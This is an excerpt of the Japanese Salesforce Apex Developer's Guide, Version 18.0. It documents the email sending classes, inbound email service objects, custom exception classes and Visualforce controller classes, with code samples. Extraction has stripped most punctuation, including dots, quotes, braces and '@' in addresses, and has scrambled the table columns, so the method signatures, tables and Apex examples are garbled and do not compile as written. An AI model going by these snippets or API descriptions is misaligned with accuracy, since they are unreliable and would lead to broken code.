MessagingMassEmailMessage mail = new MessagingMassEmailMessage()

Messaging

静的 sendEmailメソッドを含みますこのメソッドはインスタンス化した電子メールオブジェクトをSingleEmailMessage クラスまたは MassEmailMessage クラスで送信しSendEmailResult オブジェクトを返します

電子メールを送信する構文は次のとおりです

MessagingsendEmail(new MessagingEmail[] mail opt_allOrNone)

Emailは MessagingSingleEmailMessageまたは MessagingMassEmailMessageのいずれかとなります

オプションの opt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返しますデフォルト値は真ですデータベースの DML 操作の詳細は「Apexのデータ操作言語 (DML)操作」 (ページ 186)を参照してください

次の点に注意してください

bull Apex トランザクションがコミットされるまで電子メールは送信されませんbull sendEmailメソッドをコールしているユーザの電子メールアドレスは電子メールヘッダーのFrom Address

項目に挿入されます返信された電子メール不達電子メールおよび外出中の自動返信メールはこのメソッドをコールしているユーザに送信されます

bull トランザクションあたり最大 10 個の sendEmailメソッドLimits メソッド を使用してトランザクション内の sendEmailメソッドの数を確認します

bull sendEmailメソッドで送信される単一の電子メールメッセージは送信する組織の 1 日の単一電子メール制限にはカウントされません個の制限値に達するとSingleEmailMessageを使用するsendEmailメソッドへのコールは拒否されユーザは SINGLE_EMAIL_LIMIT_EXCEEDEDエラーコードを受信しますただしアプリケーションを通して送られた単一電子メールは許可されます

bull sendEmailメソッドで送信される一括電子メールメッセージは送信する組織の 1 日の一括電子メール制限にはカウントされません個の制限値に達するとMassEmailMessageを使用する sendEmailメソッドへのコールは拒否されユーザは MASS_MAIL_LIMIT_EXCEEDEDエラーコードを受信します

bull SendEmailResult オブジェクトで返されるすべてのエラーは電子メールが送信されなかったことを表します

MessagingSingleEmailMessageには setOrgWideEmailAddressIdというメソッドがありますOrgWideEmailAddressオブジェクトのオブジェクト ID を受け取りますsetOrgWideEmailAddressIdに有効な ID が渡されると OrgWideEmailAddressDisplayName項目がログインユーザの表示名ではなく電子メールヘッダーに使用されますヘッダーの送信電子メールアドレスもOrgWideEmailAddressAddressで定義された項目に設定されます

メモ OrgWideEmailAddressDisplayNameおよび setSenderDisplayNameの両方が定義されるとDUPLICATE_SENDER_DISPLAY_NAMEエラーが発生します

参照 Version 180 | Apex電子メールクラス | 301

詳細はSalesforcecom オンラインヘルプの「組織のアドレス」を参照してください

新しい単一電子メールメッセージオブジェクトを作成 このメッセージはToCCBCC リストのアドレスに単一電子メールを送信しますMessagingSingleEmailMessage mail = new MessagingSingleEmailMessage()

電子メールを送信する電子メールアドレスを格納する文字列String[] toAddresses = new String[]useracmecom String[] ccAddresses = new String[] smithgmailcom

To および CC リストのアドレスの mail オブジェクトへの割り当てmailsetToAddresses(toAddresses)mailsetCcAddresses(ccAddresses)

受信者が電子メールに返信するときに使用されるアドレスを指定mailsetReplyTo(supportacmecom)

表示名として使用される名前を指定mailsetSenderDisplayName(Salesforce Support)

電子メールアドレスの件名を指定mailsetSubject(New Case Created + caseId)

この電子メールを自分に BCC で送信する場合真に設定mailsetBccSender(false)

オプションでsalesforcecom の電子メール署名を追加 Apex Code を実行しているユーザの電子メールアドレスが使用されますmailsetUseSignature(false)

電子メールの本文を指定mailsetPlainTextBody(Your Case + caseId + has been created)

mailsetHtmlBody(Your caseltbgt + caseId + ltbgthas been createdltpgt+ View case ltahref=httpsna1salesforcecom+caseId+gtclick hereltagt)

作成した電子メールを送信MessagingsendEmail(new MessagingSingleEmailMessage[] mail )

詳細は以下を参照してください

bull 基本電子メールメソッド (ページ 302)bull 単一メール送信メッセージメソッド (ページ 304)bull 一括メール送信メッセージメソッド (ページ 306)bull EmailFileAttachment メソッド (ページ 309)bull SendEmailResult Object メソッド (ページ 309)bull SendEmailError Object メソッド (ページ 310)

基本電子メールメソッド

次の表に単一メール送信および一括メール送信のどちらにも使用される電子メールオブジェクトメソッドを示します

メモ テンプレートが使用されていない場合電子メールの本文すべては平文テキストHTML またはそのいずれかでなければなりませんVisualforce電子メールテンプレートは一括メール送信では使用できません

説明戻り値引数の型名前

送られる電子メールのコピーを電子メール送信者が受け取るかどうかを示し

VoidBooleansetBccSender

ます大量電子メールに関しては送信

参照 Version 180 | Apex電子メールクラス | 302

説明戻り値引数の型名前

者は最初に送られる電子メールにのみコピーされます

メモ BCCコンプライアンスオプションが組織レベルに設定されている場合ユーザはBCCアドレスを標準のメッセージに追加することができません次のエラーコードが返されますBCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ENABLED BCCコンプライアンスについては貴社担当のsalesforcecom代理店に問い合わせてください

オプション受信者が返信した場合にメッセージを受け取る電子メールアドレス

VoidStringsetReplyTo

オプションデフォルト値は trueで電子メールはアクティビティとして保存

VoidBooleansetSaveAsActivity

されますこの引数は受信者リストはtargetObjectIdまたはtargetObjectIdsに基づいている場合のみ適用されますHTML電子メールのトラッキングがあなたの組織にとって可能な場合オープンレートの追跡が可能です

オプション電子メールの From 行に表示される名前SingleEmailMessage の

VoidStringsetSenderDisplayName

setOrgWideEmailAddressIdに関連するオブジェクトが DisplayName項目を定義している場合設定できません

オプション電子メールの件名行電子メールテンプレートを使用している場

VoidStringsetSubject

合この値はテンプレートの件名で上書きされます

そのユーザが設定された署名を持っている場合電子メールが電子メール署名を

VoidBooleansetUseSignature

含むかどうか示しますデフォルトは真ですユーザに署名が設定されている場合はこの値に偽を設定しない限り署名が電子メールに追加されます

参照 Version 180 | Apex電子メールクラス | 303

単一メール送信メッセージメソッド

次の表に単一メール送信に使用される電子メールオブジェクトメソッドを示します基本電子メールメソッドへの追加メソッドです

説明戻り値引数の型名前

オプションブラインドカーボンコピー(BCC) アドレスのリスト最大値は 10 で

VoidString[]setBccAddresses

すテンプレートを使用していない場合のみこの引数を使用できます次のいずれかの項目の少なくとも 1 つの値を指定しなければなりませんtoAddressesccAddressesbccAddressestargetObjectIdtargetObjectIds

BCCコンプライアンスオプションが組織レベルに設定されている場合ユーザはBCCアドレスを標準のメッセージに追加することができません次のエラーコードが返されますBCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ENABLED BCCコンプライアンスについては貴社担当のsalesforcecom代理店に問い合わせてください

オプションカーボンコピー (CC) アドレスのリスト最大値は 5 ですテンプレー

VoidString[]setCcAddresses

トを使用していない場合のみこの引数を使用できます

すべての電子メールは次の受信者の値を少なくとも 1 つ含んでいなければなりません

bull toAddresses

bull ccAddresses

bull bccAddresses

bull targetObjectId

bull targetObjectIds

オプション電子メール用の文字セットこの値が空値の場合ユーザのデフォルト値が使われます

VoidStringsetCharset

オプション電子メールに添付する各ドキュメントオブジェクトの ID を含むリス

VoidID[]setDocumentAttachments

ト添付されたドキュメントの合計が 10MB を超えない限りいくつでもドキュメントを追加できます

オプション電子メールに添付するバイナリファイルとテキストファイルのファイル

VoidEmailFileAttachment[]setFileAttachments

参照 Version 180 | Apex電子メールクラス | 304

説明戻り値引数の型名前

名を含むリスト添付されたファイルの合計が 10 MB を超えない限りいくつでもファイルを追加できます

オプション電子メールの HTML 版 (送信者による指定)組織に関連付けられた仕様

VoidStringsetHtmlBody

に従って値はエンコードされますsetTemplateIdsetHtmlBodyまたはsetPlainTextBodyの値を指定する必要がありますまたはsetHtmlBodyおよびsetPlainTextBodyの両方を定義できます

オプション送信電子メールの In-Reply-To項目このメールが返信している電子メー

VoidStringsetInReplyTo

ル (親電子メール) を識別します親電子メールのメッセージ ID が含まれています

オプション電子メールのテキスト版 (送信者による指定)setTemplateId

VoidStringsetPlainTextBody

setHtmlBodyまたはsetPlainTextBody

の値を指定する必要がありますまたはsetHtmlBodyおよび setPlainTextBody

の両方を定義できます

オプション送信電子メールに関連する組織の共有アドレスの ID

VoidIDsetOrgWideEmailAddressId

setSenderDisplayName項目が既に設定されている場合DisplayName項目は設定できません

オプション送信電子メールの References項目電子メールのスレッドを識別しま

VoidStringsetReferences

す親電子メールの References 項目およびメッセージ IDIn-Reply-To 項目のリストが含まれます

オプション電子メールを送信する取引先責任者リードユーザの ID指定する

VoidIDsetTargetObjectId

ID はコンテキストを設定しテンプレートのマージ項目に正しいデータが含まれていることを保証します

Email Opt Outオプションが選択されている ID やレコードを指定しないでください

すべての電子メールは次の受信者の値を少なくとも 1 つ含んでいなければなりません

参照 Version 180 | Apex電子メールクラス | 305

説明戻り値引数の型名前

bull toAddresses

bull ccAddresses

bull bccAddresses

bull targetObjectId

bull targetObjectIds

オプション電子メールを送信する電子メールアドレスのリスト電子メールアド

VoidString[]setToAddresses

レスの最大値は 10 ですテンプレートを使用していない場合のみこの引数を使用できます

すべての電子メールは次の受信者の値を少なくとも 1 つ含んでいなければなりません

bull toAddresses

bull ccAddresses

bull bccAddresses

bull targetObjectId

bull targetObjectIds

オプションtargetObjectId項目用のと取引先担当者を指定する場合whatIdも指

VoidIDsetWhatId

定可能ですこれはテンプレート内のマージ項目が正しいデータを含むことをさらに保証することに役立ちます値は次のタイプのいずれかですbull 取引先bull 納入商品bull キャンペーンbull ケースbull 契約bull 商談bull 注文bull 商品bull ソリューションbull カスタム

一括メール送信メッセージメソッド

次の表に一括メール送信に使用される一意の電子メールオブジェクトメソッドを示します基本電子メールメソッドへの追加メソッドです

参照 Version 180 | Apex電子メールクラス | 306

説明戻り値引数の型名前

電子メールの説明VoidStringsetDescription

電子メールを送信する取引先責任者リードユーザの ID のリスト指定す

VoidID[]setTargetObjectIds

る ID はコンテキストを設定しテンプレートのマージ項目に正しいデータが含まれていることを保証しますオブジェクトはすべて同じ型でなければなりません (すべての取引先責任者リードユーザ)1件の電子メールあたり最高250までIDをリストすることができますtargetObjectIds項目の値を指定した場合ユーザコンタクトまたはリードを設定するためと同様に任意にwhatId

を指定することが可能ですこれはテンプレート内のマージ項目が正しいデータを含んでいると保証します Email

Opt Outオプションが選択されている IDやレコードを指定しないでください

すべての電子メールは次の受信者の値を少なくとも 1 つ含んでいなければなりません

bull toAddresses

bull ccAddresses

bull bccAddresses

bull targetObjectId

bull targetObjectIds

この電子メールを作成するためにメージされるテンプレートのID

VoidIDsetTemplateID

setTemplateIdsetHtmlBodyまたはsetPlainTextBodyの値を指定する必要がありますまたはsetHtmlBodyおよびsetPlainTextBodyの両方を定義できます

オプションtargetObjectIds項目に取引先責任者のリストを指定した場合

VoidID[]setWhatIds

whatIdsのリストも同様に指定できますこれはテンプレート内のマージ項目が正しいデータを含むことをさらに保証することに役立ちます値は次のタイプのいずれかですbull 契約bull ケースbull 商談

参照 Version 180 | Apex電子メールクラス | 307

説明戻り値引数の型名前

bull 商品

メモ whatIdsを指定した場合targetObjectIdごとに 1 つ指定しますそれ以外の場合INVALID_ID_FIELDエラーが発生します

またMessagingMassEmailMessageクラスには基本電子メールメッセージメソッドへのアクセス権があります

説明戻り値引数の型名前

送られる電子メールのコピーを電子メール送信者が受け取るかどうかを示し

VoidBooleansetBccSender

ます大量電子メールに関しては送信者は最初に送られる電子メールにのみコピーされます

メモ BCCコンプライアンスオプションが組織レベルに設定されている場合ユーザはBCCアドレスを標準のメッセージに追加することができません次のエラーコードが返されますBCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ENABLED BCCコンプライアンスについては貴社担当のsalesforcecom代理店に問い合わせてください

オプション受信者が返信した場合にメッセージを受け取る電子メールアドレス

VoidStringsetReplyTo

オプションデフォルト値は trueで電子メールはアクティビティとして保存

VoidBooleansetSaveAsActivity

されますこの引数は受信者リストはtargetObjectIdまたはtargetObjectIdsに基づいている場合のみ適用されますHTML電子メールのトラッキングがあなたの組織にとって可能な場合オープンレートの追跡が可能です

参照 Version 180 | Apex電子メールクラス | 308

説明戻り値引数の型名前

オプション電子メールの From 行に表示される名前SingleEmailMessage の

VoidStringsetSenderDisplayName

setOrgWideEmailAddressIdに関連するオブジェクトが DisplayName項目を定義している場合設定できません

オプション電子メールの件名行電子メールテンプレートを使用している場

VoidStringsetSubject

合この値はテンプレートの件名で上書きされます

そのユーザが設定された署名を持っている場合電子メールが電子メール署名を

VoidBooleansetUseSignature

含むかどうか示しますデフォルトは真ですユーザに署名が設定されている場合はこの値に偽を設定しない限り署名が電子メールに追加されます

EmailFileAttachment メソッド

EmailFileAttachment オブジェクトはSalesforcecomの既存のドキュメントに対しSingleEmailMessage オブジェクト内で要求の一部として渡される添付ファイルを指定するのに使用します

説明戻り値引数の型名前

添付ファイル自身VoidBlob attachmentsetBody

添付ファイルのコンテンツタイプVoidStringcontent_type

setContentType

添付するファイルの名前VoidString file_namesetFileName

Content-Dispositions がインラインか (true) 添付ファイルか (false) を示します多くの場合イ

VoidBooleanContent-Disposition

setInline

ンラインコンテンツはメッセージ表示時にユーザに表示されます添付ファイルコンテンツはユーザのアクションを表示します

SendEmailResult Object メソッド

sendEmailメソッドはSendEmailResult オブジェクトのリストを返します各 SendEmailResult オブジェクトには次のメソッドがありますこのメソッドは引数をとりません

説明戻り値名前

sendEmailメソッドはの実行時にエラーが発生した場合SendEmailError オブジェクトが返されます

SendEmailError[]getErrors

電子メールが正しく送信されたか (真)されなかったか (偽) を示しますisSuccessが真であっても受信者が電子メールを受信したとは

BooleanisSuccess

参照 Version 180 | Apex電子メールクラス | 309

説明戻り値名前

限りません電子メールアドレスの問題不達スパムブロッカによるブロックなどが発生する場合があるからです

SendEmailError Object メソッド

SendEmailResult オブジェクトには SendEmailError が含まれている場合がありますSendEmailError には次のメソッドがありますこのメソッドは引数をとりません

説明戻り値名前

1 つ以上の項目名のリスト存在する場合エラー状態によって影響されたオブジェクト内の項目を判別します

String[]getFields

エラーメッセージのテキストStringgetMessage

エラーを特徴付けるコードステータスコードの完全なリストは組織の WSDL ファイルから入手できます組織の WSDL ファイルへの

SystemStatusCodegetStatusCode

アクセスの詳細はSalesforcecomオンラインヘルプの「SalesforcecomWSDL およびクライアント認証証明書のダウンロード」を参照してください

エラーが発生したターゲットレコードの IDStringgetTargetObjectId

受信電子メール

電子メールと添付ファイルの処理にApexを使用することができます電子メールはApex電子メールサービスが受信しInboundEmailオブジェクトを使用する Apex クラスが処理します

メモ Apex 電子メールサービスはDeveloperEnterpriseUnlimited Edition 組織でのみ利用可能です

この項で説明する内容は次のとおりです

bull Apex 電子メールサービスとはbull InboundEmail オブジェクトの使用bull InboundEmail オブジェクトbull InboundEmailHeader オブジェクトbull InboundEmailBinaryAttachment オブジェクトbull InboundEmailTextAttachment オブジェクトbull InboundEmailResult オブジェクトbull InboundEnvelope オブジェクト

Apex 電子メールサービスとは

電子メールサービスはApex クラスを使用して受信電子メールの内容ヘッダーおよび添付ファイルを処理する自動化されたプロセスですたとえばメッセージに含まれる取引先責任者情報に基づいて取引先責任者レコードを自動的に作成する電子メールサービスを作成できます

参照 Version 180 | Apex電子メールクラス | 310

各電子メールサービスにはSalesforcecom が生成した電子メールアドレスを 1 つ以上関連付けることができユーザはそのアドレス宛てに処理を求めるメッセージを送信できます複数ユーザが 1 つの電子メールサービスを使用する手順は次のとおりです

bull Salesforcecom が生成した複数の電子メールアドレスに電子メールサービスを関連付けこれらのアドレスをユーザに割り当てます

bull Salesforcecom が生成した単一の電子メールアドレスを電子メールサービスに関連付け電子メールサービスにアクセスするユーザによって実行されるApexクラスを記述しますたとえばユーザの電子メールアドレスに基づいてユーザを識別しそのユーザのレコードを作成する Apex クラスを記述します

電子メールサービスを使用するには[設定] [開発] [電子メールサービス] をクリックします

bull 新しい電子メールサービスを定義するには[新規電子メールサービス] をクリックしますbull 既存の電子メールサービスを選択してその設定の表示有効化または無効化およびその電子メールサー

ビス用のアドレスの表示または指定を行いますbull 既存の電子メールサービスを変更するには[編集] をクリックしますbull 電子メールサービスを削除するには[削除] をクリックします

メモ電子メールサービスを削除する前に関連するすべての電子メールサービスのアドレスを削除する必要があります

InboundEmail オブジェクトの使用

Apex 電子メールサービスドメインが受信するすべての電子メールについてSalesforcecom はその電子メールのコンテンツと添付ファイルを含む個別の InboundEmail オブジェクトを作成しますMessagingInboundEmailHandlerインターフェースを実装する Apex クラスを使用して受信電子メールメッセージを処理できますそのクラスで handleInboundEmailメソッドを使用してInboundEmail オブジェクトにアクセスし受信電子メールメッセージの内容ヘッダーおよび添付ファイルの取得とその他多数の機能を実行することができます

例 1 取引先責任者の ToDo の作成

受信メールアドレスに基づいて取引先責任者を検索し新規 ToDo を作成する方法の例は次のとおりです

global class CreateTaskEmailExample implements MessagingInboundEmailHandler

global MessagingInboundEmailResult handleInboundEmail(MessaginginboundEmail emailMessagingInboundEnvelope env)

Apex 電子メールサービスの結果を返す inboundEmailResult オブジェクトを作成MessagingInboundEmailResult result = new MessagingInboundEmailResult()

String myPlainText=

電子メールのプレーンテキストをローカル変数に追加

myPlainText = emailplainTextBody

作成する新規 ToDo オブジェクト

Task[] newTask = new Task[0]

電子メールの送信元アドレスに基づいて取引先責任者の検索を試行 電子メールアドレスが同じ取引先責任者が複数存在する場合 例外が送出されcatch ステートメントが呼び出されるtry Contact vCon = [Select

参照 Version 180 | Apex電子メールクラス | 311

Id Name Email From Contact Where Email = emailfromAddress Limit 1]

新しい ToDo を上記のコードで見つけた取引先責任者に追加newTaskadd(new Task(Description =myPlainText Priority = Normal Status = Inbound Email Subject = emailsubjectIsReminderSet = true ReminderDateTime = Systemnow()+1 WhoId = vConId))

新しい ToDo を挿入insert newTask

Systemdebug(New Task Object + newTask )

クエリによる取引先責任者レコードのアクセスに例外が発生する場合 QueryException が呼び出され例外は Apex debug log に書き出されますcatch (QueryException e) Systemdebug(Query Issue + e)

結果を True に設定エラーメッセージと共に電子メールを ユーザに返信する必要なし

resultsuccess = true

Apex 電子メールサービスの結果を返すreturn result

InboundEmail オブジェクト

InboundEmail オブジェクトには次の項目があります

説明型名前

その電子メールで受信したバイナリ添付ファイルのリスト (存在する場合)

バイナリ添付ファイルの例としては画像音声アプリケーション映像ファイルなどがあります

InboundEmailBinaryAttachment[]binaryAttachments

カーボンコピー (CC) アドレスのリスト (存在する場合)

String[]ccAddresses

[送信者] 項目に表示される電子メールアドレスStringfromAddress

[送信者] 項目に表示される名前 (存在する場合)StringfromName

電子メールの RFC 2822 ヘッダーのリスト具体的なヘッダーは次のとおりです

InboundEmailHeader[]headers

bull Recieved frombull Custom headersbull Message-IDbull Date

電子メールの HTML 版 (送信者が指定した場合)StringhtmlBody

HTML 本文テキストが切り捨てられる (true)かそうでない (false) かを示します

BooleanhtmlBodyIsTruncated

受信電子メールの In-Reply-To 項目このメールが返信している電子メール (親電子メール) を識

StringinReplyTo

参照 Version 180 | Apex電子メールクラス | 312

説明型名前

別します親電子メールのメッセージ ID が含まれています

メッセージ ID 受信電子メールの一意の識別子StringmessageId

電子メールの平文テキスト版 (送信者が指定した場合)

StringplainTextBody

本文のプレーンテキストが切り捨てられる (true)かそうでない (false) かを示します

BooleanplainTextBodyIsTruncated

受信電子メールの References 項目電子メールのスレッドを識別します電子メールの

String[]references

References 項目およびメッセージ IDIn-Reply-To項目のリストが含まれます

reply-to ヘッダーに表示される電子メールアドレス

reply-to ヘッダーが存在しない場合fromAddress項目と同じになります

StringreplyTo

電子メールの件名 (存在する場合)Stringsubject

その電子メールで受信したテキスト添付ファイルのリスト (存在する場合)

テキスト添付ファイルは次のいずれかです

InboundEmailTextAttachment[]textAttachments

bull textの Multipurpose Internet Mail Extension(MIME) タイプの添付ファイル

bull applicationoctet-streamの MIME タイプの添付ファイルとvcfまたはvcs拡張子で終わるファイル名の添付ファイルこれらはそれぞれtextx-vcardおよびtextcalendar MIME タイプとして保存されます

[宛先]項目に表示される電子メールアドレスString[]toAddresses

InboundEmailHeader オブジェクト

InboundEmail オブジェクトはInboundEmailHeader オブジェクトに RFC 2822 電子メールヘッダー情報と次の項目を格納します

説明型名前

Dateや Message-IDなどヘッダーパラメータの名前Stringname

ヘッダーの値Stringvalue

参照 Version 180 | Apex電子メールクラス | 313

InboundEmailBinaryAttachment オブジェクト

InboundEmail オブジェクトはInboundEmailBinaryAttachment オブジェクトにバイナリ添付ファイルを格納します

バイナリ添付ファイルの例としては画像音声アプリケーション映像ファイルなどがあります

InboundEmailBinaryAttachment オブジェクトには次の項目があります

説明型名前

添付ファイルの本文Blobbody

添付ファイルの名前StringfileName

プライマリおよびサブ MIME タイプStringmimeTypeSubType

InboundEmailTextAttachment オブジェクト

InboundEmail オブジェクトはInboundEmailTextAttachment オブジェクトにテキスト添付ファイルを格納します

テキスト添付ファイルは次のいずれかです

bull textの Multipurpose Internet Mail Extension (MIME) タイプの添付ファイルbull applicationoctet-streamの MIME タイプの添付ファイルとvcfまたは vcs拡張子で終わるファイ

ル名の添付ファイルこれらはそれぞれtextx-vcardおよび textcalendar MIME タイプとして保存されます

InboundEmailTextAttachment オブジェクトには次の項目があります

説明型名前

添付ファイルの本文Stringbody

添付ファイルの本文テキストが切り捨てられる (true) かそうでない (false) かを示します

BooleanbodyIsTruncated

[body] 項目の元の文字セットbody はApexメソッドに入力されるときに UTF-8 でエンコードし直されます

Stringcharset

添付ファイルの名前StringfileName

プライマリおよびサブ MIME タイプStringmimeTypeSubType

InboundEmailResult オブジェクト

InboundEmailResult オブジェクトにより電子メールサービスの結果が返されますこのオブジェクトが Null であれば結果は正常とみなされますInboundEmailResult オブジェクトには次の項目があります

参照 Version 180 | Apex電子メールクラス | 314

説明型名前

電子メールが正常に処理されたかどうかを示す値

Falseの場合はSalesforcecom が受信メールを拒否し[Message]

項目で指定されているメッセージを含む返信メールを元の送信者に送信します

Booleansuccess

Salesforcecom が返信メールの本文で返すメッセージこの項目はSuccess項目で返された値に関係なくテキストを入力できます

Stringmessage

InboundEnvelope オブジェクト

InboundEnvelope オブジェクトには受信電子メールに関連するエンベロープ情報が保管され次の項目があります

説明型名前

[宛先]項目に表示される名前 (存在する場合)StringtoAddress

[送信者]項目に表示される名前 (存在する場合)StringfromAddress

例外クラスApex では独自の例外クラスを作成できます例外はトップレベルクラスとすることができますつまりメンバー変数メソッドコンストラクタを持ちインターフェースの実装などが可能です

独自に作成した例外は他の標準の例外タイプと同じように動作し発生させたいところで発生し受け取ることができます

ユーザ定義例外クラスはクラス名の末尾にexceptionをつけなければなりませんたとえば「MyException」や「PurchaseException」などですすべての例外クラスは自動的にシステム定義基本クラスexceptionを拡張したものとなります

たとえば次のコードは匿名ブロック内の例外タイプを定義します

public class MyException extends Exception

try Integer i コードをここに記述if (i lt 5) throw new MyException() catch (MyExceptione) 作成した MyException 処理コードをここに記述

Java クラスと同様にユーザ定義例外タイプは継承ツリーを構成しキャッチブリックはどの部分も取得することができます例

public class BaseException extends Exception public class OtherException extendsBaseException

try Integer i コードをここに記述if (i lt 5) throw new OtherException(This is bad) catch (BaseException e) OtherException を取得

この項で説明する内容は次のとおりです

参照 Version 180 | 例外クラス | 315

bull 例外のコンストラクトbull 例外変数の使用

「例外メソッドの使用」を参照してください

例外のコンストラクト

次のような例外をコンストラクトすることができます

bull 引数のないもの

new MyException()

bull エラーメッセージを指定する 1 つの String 型の引数を取るもの

new MyException(This is bad)

bull 任意のスタックトレースに表示する原因を指定する 1 つの Exception 型の引数を取るもの

new MyException(e)

bull String 型のエラーメッセージと任意のスタックトレースに表示される例外チェーンの両方を取るもの

new MyException(This is bad e)

たとえば次のコードはMy1ExceptionとMy2Exceptionの両方の情報を含むスタックトレースを生成します

public class My1Exception extends Exception public class My2Exception extends Exception try throw new My1Exception() catch (My1Exception e) throw new My2Exception(Thisis bad e)

次の図は上記のコードを実行した結果のスタックトレースを示します

参照 Version 180 | 例外クラス | 316

図 8 例外のスタックトレース (デバッグログより)

例外変数の使用

Java と同様に変数引数戻り値の型は Exception 型として宣言できますException 型は Apex ではシステム定義基本クラスです例

Exception e1 try String s = null stolowercase() null ポインタ例外を生成します catch(SystemNullPointerException e) e1 = e この例外は変数に割り当てるか 他のメ

ソッドへまたは他のメソッドから渡されます

Visualforce クラス管理者にビジネスロジックをボタンのクリックや関連レコードの更新などの Salesforcecom システムイベントに追加する機能を与えるほかApex を使用してカスタム Visualforce コントローラおよびコントローラ拡張を使用して Visualforce ページにカスタムロジックを提供することもできます

bull カスタムコントローラは標準コントローラを使用せずすべてのページのロジックを実装するApexで記述されるクラスですカスタムコントローラを使用すると新しいナビゲーション要素または動作を定義できますが標準コントローラにすでに定義された機能も再実装する必要があります

その他のApexクラス同様カスタムコントローラ全体はシステムモードで実行されます現在のユーザーのオブジェクトと項目レベルの権限は無視されますユーザのプロファイルに基づいてユーザーがカスタムコントローラでメソッドを実行できるかどうかを指定できます

bull コントローラ拡張は標準コントローラまたはカスタムコントローラの動作に追加または上書きするApexで記述されるクラスです拡張によって独自のカスタムロジックを追加するほか別のコントローラの機能を使用できます

標準コントローラはユーザーモードで実行し現在のユーザーの権限項目レベルのセキュリティ共有ルールが強制されるため標準コントローラを拡張するとユーザー権限を重視する Visualforce ページを構築で

参照 Version 180 | Visualforce クラス | 317

きます拡張クラスはシステムモードで実行しますが標準コントローラはユーザーモードで実行しますカスタムコントローラと同様ユーザのプロファイルに基づいてユーザーがカスタムコントローラでメソッドを実行できるかどうかを指定できます

ここではカスタムVisualforceコントローラおよびコントローラ拡張を構築する場合に使用できるシステムによって提供された Apex について説明しますその具体的な内容は次のとおりです

bull Actionクラスbull Messageクラスbull PageReference クラスbull SelectOptionクラスbull StandardController クラスbull StandardSetController クラス

これらのクラスに加えコントローラおよびコントローラ拡張でメソッドを宣言する場合にtransientキーワードを使用できます詳細は「transientキーワードの使用」 (ページ 104)を参照してください

Visualforce の詳細はwwwsalesforcecomusdeveloperdocspagesindexhtm の『Visualforce Developers Guide』を参照してください

Actionクラス

ApexPagesActionクラスを使用してVisualforce カスタムコントローラまたはコントローラ拡張で使用できるアクションメソッドを作成できますたとえばカスタム save を実行できるコントローラ拡張に saveOverメソッドを作成できます

インスタンス化

次のコードの抜粋はsave アクションを使用する新しい ApexPagesAction オブジェクトのインスタンス化の方法について説明しています

ApexPagesAction saveAction = new ApexPagesAction(save)

メソッド

アクションメソッドはActionのある特定のインスタンスからコールされ処理されます

次の表はActionのインスタンスメソッドを示します

説明戻り値の型引数名前

アクションが呼び出されたときに評価される式を返します

StringgetExpression

アクションを呼び出しますSystemPageReferenceinvoke

次の例ではユーザーが新しい取引先を更新または作成し[保存]ボタンをクリックした場合更新されたまたは作成された取引先に加えシステムデバッグログにメッセージを書き込みますこの例では取引先の標準コントローラを拡張します

参照 Version 180 | Visualforce クラス | 318

次にコントローラ拡張を示します

public class acctSaveExtension

public final Account acct

ApexPagesAction saveAction = new ApexPagesAction(newSave)

public acctSaveExtension (ApexPagesStandardController stdController) thisacct =(Account)stdControllergetRecord()

public void saveOver() Systemdebug(Extension called action +saveActiongetExpression()) saveActioninvoke()

public void newSave() try update acct catch(DmlException ex) ApexPagesaddMessages(ex)

次に上記のコントローラ拡張を使用するページの Visualforce マークアップを示します

ltapexpage standardController=Account extensions=acctSaveExtensiongt ltapexformgtltapexinputField value=accountnamegt ltpgt ltapexcommandButton value=Saveaction=saveOvergt ltapexformgt ltapexpagegt

デバッグログの詳細はSalesforcecom オンラインヘルプの「デバッグログ詳細の表示」を参照してください

IdeaStandardController クラス

IdeaStandardController オブジェクトはStandardController クラスで提供される機能のほかIdeas 固有の機能を提供します

メモ IdeaStandardSetController クラスおよび IdeaStandardController クラスは現在限定リリースプログラムでのみ使用できます組織のこれらのクラスの有効化に関する詳細は株式会社セールスフォースドットコム の担当者までお問い合わせください

インスタンス化

IdeaStandardController オブジェクトはインスタンス化できません標準アイデアコントローラを使用してカスタム拡張コントローラのコンストラクタを通してインスタンスを取得できます

メソッド

IdeaStandardController オブジェクトのメソッドはIdeaStandardController の特定のインスタンスで呼び出され操作されます

次の表はIdeaStandardController のインスタンスメソッドを示します

説明戻り値の型引数名前

現在のページの読み取り専用コメントのリストを返しますこのメソッドは次のコメントプロパティを返します

IdeaComment[]getCommentList

bull id

bull commentBody

bull createdDate

bull createdById

参照 Version 180 | Visualforce クラス | 319

説明戻り値の型引数名前

bull createdBycommunityNickname

上記メソッドのほかIdeaStandardController クラスは StandardController クラスに関連するすべてのメソッドを継承します次の表にこれらのメソッドの一覧を示します

説明戻り値の型引数名前

キャンセルページの PageReference を返しますSystemPageReferencecancel

レコードを削除し削除ページの PageReference を返します

SystemPageReferencedelete

標準編集ページの PageReference を返しますSystemPageReferenceedit

Visualforceページ URL のidクエリ文字列パラメータの値に基づいて現在コンテキストにあるレコードの ID を返します

StringgetId

Visualforceページ URL のidクエリ文字列パラメータの値に基づいて現在コンテキストにあるレコードを返します

関連する Visualforce マークアップで参照される項目のみがこの SObject について問い合わせるこ

SObjectgetRecord

とができます関連するオブジェクトの項目などその他の項目はすべてSOQL 表現を使用して問い合わせる必要があります

ヒント 問い合わせしたい追加項目を参照する非表示コンポーネントを使用してこの制約を回避することができますコンポーネントのrendered属性をfalseに設定してコンポーネントを非表示にします例

ltapexoutputTextvalue=accountbillingcityaccountcontactsrendered=falsegt

変更を保存し更新された PageReference を返します

SystemPageReferencesave

標準詳細ページの PageReference オブジェクトを返します

SystemPageReferenceview

参照 Version 180 | Visualforce クラス | 320

次の例ではIdeaStandardController オブジェクトをカスタムリストコントローラのコンストラクタでどのように使用できるかを示しますこの例ではVisualforce ページを表示する前にコメントリストデータを処理するフレームワークを示します

public class MyIdeaExtension

private final ApexPagesIdeaStandardController ideaController

public MyIdeaExtension(ApexPagesIdeaStandardController controller) ideaController =(ApexPagesIdeaStandardController)controller

public ListltIdeaCommentgt getModifiedComments() IdeaComment[] comments =ideaControllergetCommentList() modify comments here return comments

次のVisualforceマークアップは上記の IdeaStandardController の例をどのようにページ内で使用できるかを示しますこの例が機能するページの名前は detailPageでなければなりません

